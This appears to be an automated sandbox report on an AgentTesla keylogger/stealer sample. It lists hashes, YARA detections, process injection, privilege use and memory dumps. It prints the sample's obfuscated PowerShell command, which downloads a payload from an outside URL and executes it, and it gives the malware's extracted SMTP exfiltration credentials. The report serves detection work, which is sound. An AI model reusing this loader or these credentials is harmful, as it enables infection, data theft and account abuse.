agenttesla | d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
13/02/2024, 05:38

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General

Target

d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277.wsf
Size

2KB
MD5

380c9e85f6960add801843076c33ec3b
SHA1

53f4ebaa47e325b25feaf22211dcff9223dc2ccc
SHA256

d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277
SHA512

88e6a1f62735e5116041dfa23c0a3743f3f31b6372c4af698323e7eddd028eff7d10bb83b883bda6e3aa2171827efb661eacd7e7d7db4ca8891919b134986e35

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.knoow.net
Port:
587
Username:
[email protected]
Password:
americanboy21@

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.knoow.net
Port:
587
Username:
[email protected]
Password:
americanboy21@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 5 IoCs

resource	yara_rule
behavioral1/memory/1456-80-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/1456-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/1456-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/1456-85-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/1456-88-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 5 IoCs

resource	yara_rule
behavioral1/memory/1456-80-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/1456-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/1456-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/1456-85-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/1456-88-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables manipulated with Fody 1 IoCs

resource	yara_rule
behavioral1/memory/2208-73-0x0000000002900000-0x0000000002926000-memory.dmp	INDICATOR_EXE_Packed_Fody

Detects executables packed with Costura DotNetGuard 1 IoCs

resource	yara_rule
behavioral1/memory/2208-73-0x0000000002900000-0x0000000002926000-memory.dmp	INDICATOR_EXE_Packed_Costura

Detects executables referencing Windows vault credential objects. Observed in infostealers 5 IoCs

resource	yara_rule
behavioral1/memory/1456-80-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/1456-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/1456-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/1456-85-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/1456-88-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 5 IoCs

resource	yara_rule
behavioral1/memory/1456-80-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/1456-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/1456-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/1456-85-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/1456-88-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 5 IoCs

resource	yara_rule
behavioral1/memory/1456-80-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/1456-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/1456-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/1456-85-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/1456-88-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 5 IoCs

resource	yara_rule
behavioral1/memory/1456-80-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/1456-81-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/1456-83-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/1456-85-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/1456-88-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	2208	powershell.exe
8	2208	powershell.exe
10	2208	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2208 set thread context of 1456	2208	powershell.exe	31

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2208	powershell.exe
1456	InstallUtil.exe
1456	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeIncreaseQuotaPrivilege	2208	powershell.exe
Token: SeSecurityPrivilege	2208	powershell.exe
Token: SeTakeOwnershipPrivilege	2208	powershell.exe
Token: SeLoadDriverPrivilege	2208	powershell.exe
Token: SeSystemProfilePrivilege	2208	powershell.exe
Token: SeSystemtimePrivilege	2208	powershell.exe
Token: SeProfSingleProcessPrivilege	2208	powershell.exe
Token: SeIncBasePriorityPrivilege	2208	powershell.exe
Token: SeCreatePagefilePrivilege	2208	powershell.exe
Token: SeBackupPrivilege	2208	powershell.exe
Token: SeRestorePrivilege	2208	powershell.exe
Token: SeShutdownPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeSystemEnvironmentPrivilege	2208	powershell.exe
Token: SeRemoteShutdownPrivilege	2208	powershell.exe
Token: SeUndockPrivilege	2208	powershell.exe
Token: SeManageVolumePrivilege	2208	powershell.exe
Token: 33	2208	powershell.exe
Token: 34	2208	powershell.exe
Token: 35	2208	powershell.exe
Token: SeDebugPrivilege	1456	InstallUtil.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 852 wrote to memory of 2208	852	WScript.exe	28
PID 852 wrote to memory of 2208	852	WScript.exe	28
PID 852 wrote to memory of 2208	852	WScript.exe	28
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31
PID 2208 wrote to memory of 1456	2208	powershell.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277.wsf"
1⤵
- Suspicious use of WriteProcessMemory
PID:852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','Str','ing';$rotJ=($rot -join '');$bnt='https','://didaktik-labor.de/mx1.jpg';$bntJ=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bntJ);z($mv)
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1456

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f63232b458c649f644868a248290a048

SHA1
e38ed50f378dfb8fe892825d24e428ad2e076752

SHA256
a5493bbdfbdd94cee4bdf670a2abf89d5bdc6b19f08dc628c90f77275a069e34

SHA512
b6f6a928fc5de70fa764bbddf5260dda4d2842231b7279c34e7a2f892f6b7ee31d58f834ed5f9a96978a23bd4f9de9d47343ff51d57a9d6406ed775f73e11019

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
15e60a9687e4ec5dd6a5ea565b603594

SHA1
30f2663fa41eee43af68eac2923e2fffb3d4cadd

SHA256
a5bb6e22afa940ce5ec8d7aec829e2c43ca11cf62fcdaa7c68349f13dee0ba7f

SHA512
511affb4a18bc2d4559b29c434434486019b3f2acc9cedd1cbae46ebc2c876960e66658b9d181d0769ceecb5fe860860927d268d7b863dd0c85dac9183fd7ea8

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5302.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar5391.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
memory/1456-90-0x0000000004AD0000-0x0000000004B10000-memory.dmp

Filesize
256KB

Download
memory/1456-89-0x0000000074060000-0x000000007474E000-memory.dmp

Filesize
6.9MB

Download
memory/1456-88-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1456-85-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1456-80-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1456-126-0x0000000074060000-0x000000007474E000-memory.dmp

Filesize
6.9MB

Download
memory/1456-127-0x0000000004AD0000-0x0000000004B10000-memory.dmp

Filesize
256KB

Download
memory/1456-83-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1456-82-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1456-81-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1456-76-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1456-78-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2208-11-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/2208-75-0x000000001B9E0000-0x000000001B9F8000-memory.dmp

Filesize
96KB

Download
memory/2208-74-0x000000001B630000-0x000000001B63C000-memory.dmp

Filesize
48KB

Download
memory/2208-73-0x0000000002900000-0x0000000002926000-memory.dmp

Filesize
152KB

Download
memory/2208-4-0x000000001B220000-0x000000001B502000-memory.dmp

Filesize
2.9MB

Download
memory/2208-87-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2208-5-0x00000000025D0000-0x00000000025D8000-memory.dmp

Filesize
32KB

Download
memory/2208-6-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2208-7-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/2208-9-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download
memory/2208-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2208-8-0x00000000025F0000-0x0000000002670000-memory.dmp

Filesize
512KB

Download